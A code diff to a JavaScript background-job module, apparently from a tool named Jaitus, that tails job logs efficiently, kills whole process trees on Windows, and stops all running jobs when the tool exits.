@@ -61,9 +62,19 @@ function findJob(id) {
|
|
|
61
62
|
export function readBackground(id, tail = 40) {
|
|
62
63
|
const job = findJob(id);
|
|
63
64
|
if (!job) return null;
|
|
65
|
+
// Only the end of the log: a dev server's log grows for hours, and reading all of it on
|
|
66
|
+
// every poll put the whole file in memory each time.
|
|
64
67
|
let lines = [];
|
|
65
68
|
try {
|
|
66
|
-
|
|
69
|
+
const size = fs.statSync(job.log).size;
|
|
70
|
+
const from = Math.max(0, size - 64 * 1024);
|
|
71
|
+
const fd = fs.openSync(job.log, 'r');
|
|
72
|
+
try {
|
|
73
|
+
const buf = Buffer.alloc(size - from);
|
|
74
|
+
fs.readSync(fd, buf, 0, buf.length, from);
|
|
75
|
+
lines = buf.toString('utf8').split('\n');
|
|
76
|
+
if (from > 0) lines.shift();
|
|
77
|
+
} finally { fs.closeSync(fd); }
|
|
67
78
|
} catch { /* empty so far */ }
|
|
68
79
|
return {
|
|
69
80
|
id: job.id, command: job.command, running: job.exit === null, exit: job.exit,
|
|
@@ -75,11 +86,27 @@ export function stopBackground(id) {
|
|
|
75
86
|
const job = findJob(id);
|
|
76
87
|
if (!job) return false;
|
|
77
88
|
if (job.exit !== null) return true;
|
|
89
|
+
killJob(job);
|
|
90
|
+
return true;
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
// The whole tree. On Windows child.kill() ended only cmd.exe: the dev server it started
|
|
94
|
+
// kept running and holding its port while the tool said "Stopped".
|
|
95
|
+
function killJob(job) {
|
|
96
|
+
const pid = job.child?.pid;
|
|
97
|
+
if (!pid) return;
|
|
78
98
|
try {
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
try { process.kill(-job.child.pid); } catch { /* already gone */ }
|
|
82
|
-
}
|
|
99
|
+
if (process.platform === 'win32') spawnSync('taskkill', ['/pid', String(pid), '/T', '/F'], { stdio: 'ignore', windowsHide: true });
|
|
100
|
+
else { try { process.kill(-pid, 'SIGTERM'); } catch { job.child.kill('SIGTERM'); } }
|
|
83
101
|
} catch { /* already gone */ }
|
|
84
|
-
return true;
|
|
85
102
|
}
|
|
103
|
+
|
|
104
|
+
/**
|
|
105
|
+
* Stop every job still running. Called when Jaitus exits: jobs used to outlive it, and
|
|
106
|
+
* after a restart nothing could see or stop them — a dev server holding a port with no
|
|
107
|
+
* way back to it.
|
|
108
|
+
*/
|
|
109
|
+
export function stopAllBackground() {
|
|
110
|
+
for (const job of jobs.values()) if (job.exit === null) killJob(job);
|
|
111
|
+
}
|
|
112
|
+
process.once('exit', stopAllBackground);
|